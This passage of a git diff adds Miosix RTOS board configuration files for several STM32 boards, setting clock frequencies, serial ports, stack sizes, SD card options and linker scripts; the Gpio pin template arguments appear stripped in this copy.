produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F205 has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +/// Serial ports 1 to 6 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f205rc_skyward_stormtrooper/Makefile.inc b/miosix/config/board/stm32f205rc_skyward_stormtrooper/Makefile.inc new file mode 100644 index 000000000..784f4cf09 --- /dev/null +++ b/miosix/config/board/stm32f205rc_skyward_stormtrooper/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f205rc_skyward_stormtrooper +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f205rc_skyward_stormtrooper/board_settings.h b/miosix/config/board/stm32f205rc_skyward_stormtrooper/board_settings.h new file mode 100644 index 000000000..a752a8e15 --- /dev/null +++ b/miosix/config/board/stm32f205rc_skyward_stormtrooper/board_settings.h @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico and Silvano Seva * + * for Skyward Experimental Rocketry * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F205RC has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +//Serial 1 has no DMA as it would conflict with SPI6 +//Serial 2 is used by the piksi GPS +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f205rg_sony-newman/Makefile.inc b/miosix/config/board/stm32f205rg_sony-newman/Makefile.inc new file mode 100644 index 000000000..46ca05ec5 --- /dev/null +++ b/miosix/config/board/stm32f205rg_sony-newman/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f205rg_sony-newman +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f205rg_sony-newman/board_settings.h b/miosix/config/board/stm32f205rg_sony-newman/board_settings.h new file mode 100644 index 000000000..0978a235c --- /dev/null +++ b/miosix/config/board/stm32f205rg_sony-newman/board_settings.h @@ -0,0 +1,63 @@ +/*************************************************************************** + * Copyright (C) 2013-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=26000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f207ig_stm3220g-eval/Makefile.inc b/miosix/config/board/stm32f207ig_stm3220g-eval/Makefile.inc new file mode 100644 index 000000000..ad5bfcf8a --- /dev/null +++ b/miosix/config/board/stm32f207ig_stm3220g-eval/Makefile.inc @@ -0,0 +1,29 @@ +## +## Options for board stm32f207ig_stm3220g-eval +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM +LINKER_SCRIPT := unikernel-xram-heap.ld +XRAM := -D__ENABLE_XRAM + +## 3) Code in FLASH, IRQ stack in internal RAM, heap, data and bss in external RAM +#LINKER_SCRIPT := unikernel-xram.ld +#XRAM := -D__ENABLE_XRAM + +## 4) Code + stack + heap in external RAM, Code runs *very* slow. Works only +## with a booloader that forwards interrrupts @ 0x64000000 +## (see tools/bootloaders for one). +#LINKER_SCRIPT := unikernel-all-in-xram.ld +#XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM + +## 5) Code in FLASH, kernel and process pool in internal RAM +#LINKER_SCRIPT := processes.ld + +## 6) Code in FLASH, Kernel in internal RAM, Process pool in XRAM +#LINKER_SCRIPT := processes-xram.ld +#XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f207ig_stm3220g-eval/board_settings.h b/miosix/config/board/stm32f207ig_stm3220g-eval/board_settings.h new file mode 100644 index 000000000..0f7359732 --- /dev/null +++ b/miosix/config/board/stm32f207ig_stm3220g-eval/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F207IG has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +//This board only exposes USART3, without flow control +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f207ze_als_camboard/Makefile.inc b/miosix/config/board/stm32f207ze_als_camboard/Makefile.inc new file mode 100644 index 000000000..3765e42c2 --- /dev/null +++ b/miosix/config/board/stm32f207ze_als_camboard/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f207ze_als_camboard +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f207ze_als_camboard/board_settings.h b/miosix/config/board/stm32f207ze_als_camboard/board_settings.h new file mode 100644 index 000000000..9cc50e1e6 --- /dev/null +++ b/miosix/config/board/stm32f207ze_als_camboard/board_settings.h @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +//TODO: DCMI driver conflicts with DMA, but can be fixed +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f207zg_ethboard_v2/Makefile.inc b/miosix/config/board/stm32f207zg_ethboard_v2/Makefile.inc new file mode 100644 index 000000000..354587e70 --- /dev/null +++ b/miosix/config/board/stm32f207zg_ethboard_v2/Makefile.inc @@ -0,0 +1,19 @@ +## +## Options for board stm32f207zg_ethboard_v2 +## Included by the board's makefile +## + +## XRAM is always enabled on this board + +## Select linker script +## 1) Code in FLASH, Kernel in internal RAM, Process pool in XRAM +LINKER_SCRIPT := processes-xram.ld + +## 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM +#LINKER_SCRIPT := unikernel-xram-heap.ld + +## 4) Code + stack + heap in external RAM, Code runs *very* slow. Works only +## with a booloader that forwards interrrupts @ 0x60000000 +## (see tools/bootloaders for one). +#LINKER_SCRIPT := unikernel-all-in-xram.ld +#XRAM := -D__CODE_IN_XRAM diff --git a/miosix/config/board/stm32f207zg_ethboard_v2/board_settings.h b/miosix/config/board/stm32f207zg_ethboard_v2/board_settings.h new file mode 100644 index 000000000..5996fcc48 --- /dev/null +++ b/miosix/config/board/stm32f207zg_ethboard_v2/board_settings.h @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F207IG has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +/// Serial ports 1 to 6 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_ONE_BIT_DATABUS //Using 4 bit fast bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f207zg_nucleo/Makefile.inc b/miosix/config/board/stm32f207zg_nucleo/Makefile.inc new file mode 100644 index 000000000..76e88e41b --- /dev/null +++ b/miosix/config/board/stm32f207zg_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f207zg_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f207zg_nucleo/board_settings.h b/miosix/config/board/stm32f207zg_nucleo/board_settings.h new file mode 100644 index 000000000..87b8e7fde --- /dev/null +++ b/miosix/config/board/stm32f207zg_nucleo/board_settings.h @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2012-2022 by Terraneo Federico * + * Copyright (C) 2023, 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces-impl/hwmapping.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +// External clock is 8Mhz provided from MCO output of ST-LINK. Actual HSE +// crystal (X3) is not fitted. +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 120000000 +constexpr unsigned int cpuFrequency=120000000; + +/// Serial port +/// The ST-Link serial adapter in Nucleo 144 boards is connected to PD8/9 +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +using defaultSerialTxPin = serial::tx; +using defaultSerialRxPin = serial::rx; +using defaultSerialRtsPin = unused::pd12; //unused +using defaultSerialCtsPin = unused::pd11; //unused + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_ONE_BIT_DATABUS //Use fast 4 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f303vc_stm32f3discovery/Makefile.inc b/miosix/config/board/stm32f303vc_stm32f3discovery/Makefile.inc new file mode 100644 index 000000000..f3a2d67be --- /dev/null +++ b/miosix/config/board/stm32f303vc_stm32f3discovery/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f303vc_stm32f3discovery +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f303vc_stm32f3discovery/board_settings.h b/miosix/config/board/stm32f303vc_stm32f3discovery/board_settings.h new file mode 100644 index 000000000..99200496f --- /dev/null +++ b/miosix/config/board/stm32f303vc_stm32f3discovery/board_settings.h @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 56000000 +constexpr unsigned int cpuFrequency=56000000; + +/// Serial port +/// Serial ports 1 to 5 are available (no DMA for serial 5) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +// #define SD_ONE_BIT_DATABUS + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f401re_nucleo/Makefile.inc b/miosix/config/board/stm32f401re_nucleo/Makefile.inc new file mode 100644 index 000000000..0efa04a2c --- /dev/null +++ b/miosix/config/board/stm32f401re_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f401re_nucleo +## Included by the board's makefile +## + +# Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f401re_nucleo/board_settings.h b/miosix/config/board/stm32f401re_nucleo/board_settings.h new file mode 100644 index 000000000..8cb595e00 --- /dev/null +++ b/miosix/config/board/stm32f401re_nucleo/board_settings.h @@ -0,0 +1,84 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 84000000 +constexpr unsigned int cpuFrequency=84000000; + +/// Serial port +/// Serial ports 1, 2, 6 are available (ports 3, 4, 5 do not exist!) +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f401vc_stm32f4discovery/Makefile.inc b/miosix/config/board/stm32f401vc_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..8c95acb22 --- /dev/null +++ b/miosix/config/board/stm32f401vc_stm32f4discovery/Makefile.inc @@ -0,0 +1,7 @@ +## +## Options for board stm32f401vc_stm32f4discovery +## Included by the board's makefile +## + +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f401vc_stm32f4discovery/board_settings.h b/miosix/config/board/stm32f401vc_stm32f4discovery/board_settings.h new file mode 100644 index 000000000..faefc7011 --- /dev/null +++ b/miosix/config/board/stm32f401vc_stm32f4discovery/board_settings.h @@ -0,0 +1,85 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered 